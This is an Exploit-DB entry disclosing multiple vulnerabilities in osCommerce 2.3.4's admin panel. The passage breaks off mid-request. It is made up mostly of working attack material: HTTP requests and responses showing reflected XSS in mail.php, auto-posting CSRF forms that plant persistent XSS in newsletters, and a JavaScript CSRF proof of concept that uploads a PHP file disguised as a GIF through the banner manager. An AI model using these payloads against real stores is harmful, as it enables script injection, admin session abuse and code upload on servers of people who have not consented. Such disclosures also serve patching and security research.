Exploit-DB #34582
Description: osCommerce 2.3.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-08
Author: smash

Exploit:
#Title: osCommerce 2.3.4 - Multiple vulnerabilities
#Date: 10.07.14
#Affected versions: => 2.3.4 (latest atm)
#Vendor: oscommerce.com
#Tested on: Apache 2.2.22 [at] Debian
#Contact: smash [at] devilteam.pl
 
#Cross Site Scripting
 
 1. Reflected XSS -> Send Email
 
Vulnerable parameters - customers_email_address & mail_sent_to
 
a) POST
 
Request:
POST /osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview HTTP/1.1
Host: localhost
 
customers_email_address=<script>alert(666)</script>&from=fuck@shit.up&subject=test&message=test
 
Response:
HTTP/1.1 200 OK
(...)
<td class="smallText"><strong>Customer:</strong><br /><script>alert(666)</script></td>
</tr>
(...)
 
CSRF PoC:
<html>
  <body>
    <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/mail.php?action=preview" method="POST">
      <input type="hidden" name="customers_email_address" value="<script>alert(666)</script>" />
      <input type="hidden" name="from" value="fuck@shit.up" />
      <input type="hidden" name="subject" value="test" />
      <input type="hidden" name="message" value="test" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
b) GET
 
Request:
GET /osc/oscommerce-2.3.4/catalog/admin/mail.php?mail_sent_to=%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1
Host: localhost
 
Response:
(...)
<td class="messageStackSuccess"><img src="images/icons/success.gif" border="0" alt="Success" title="Success" />&nbps;Notice: Email sent to: <script>alert(666)</script></td>
</tr>
(...)
 
 
 2. Persistent XSS via CSRF -> Newsletter
 
Request:
POST /osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert HTTP/1.1
Host: localhost
 
module=newsletter&title=<script>alert(123)</script>&content=<script>alert(456)</script>
 
CSRF PoC:
<html>
  <body>
    <form action="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?action=insert" method="POST">
      <input type="hidden" name="module" value="newsletter" />
      <input type="hidden" name="title" value="<script>alert(123)</script>" />
      <input type="hidden" name="content" value="<script>alert(456)</script>" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>
 
First popbox (123) will be executed whenever someone will visit newsletters page:
localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php
 
(...)
<td class="dataTableContent"><a href="http://localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=2&action=preview"><img src="images/icons/preview.gif" border="0" alt="Preview" title="Preview" /></a>&nbps;<script>alert(123)</script></td>
(...)
<tr class="infoBoxHeading">
<td class="infoBoxHeading"><strong><script>alert(123)</script></strong></td>
</tr>
(...)
 
Second one, will be executed whenever someone will visit specific newsletter page:
localhost/osc/oscommerce-2.3.4/catalog/admin/newsletters.php?page=1&nID=1&action=preview
 
(...)
<tr>
<td><tt><script>alert(456)</script></tt></td>
</tr>
<tr>
(...)
 
3. Persistent XSS via CSRF -> Banner manager
 
Vulnerable parameter - banners_title
 
PoC:
<html>
  <body>
    <script>
      function go()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/osc/oscommerce-2.3.4/catalog/admin/banner_manager.php?action=insert", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]847724432");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_title\"\r\n" +
          "\r\n" +
          "\x3cscript\x3ealert(666)\x3c/script\x3e\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_url\"\r\n" +
          "\r\n" +
          "url\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_group\"\r\n" +
          "\r\n" +
          "footer\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"new_banners_group\"\r\n" +
          "\r\n" +
          "group\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_image\"; filename=\"info.gif\"\r\n" +
          "Content-Type: application/x-php\r\n" +
          "\r\n" +
          "\x3c?php\n" +
          "phpinfo();\n" +
          "?\x3e\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_image_local\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_image_target\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"banners_html_text\"\r\n" +
          "\r\n" +
          "sup\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"date_scheduled\"\r\n" +
          "\r\n" +
          "2014-07-01\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Content-Disposition: form-data; name=\"expires_date\"\r\n" +
          "\r\n" +
          "2014-07-31\r\n" +
          "----------------------------[PII_REDACTED][PII_REDACTED]847724432\r\n" +
          "Con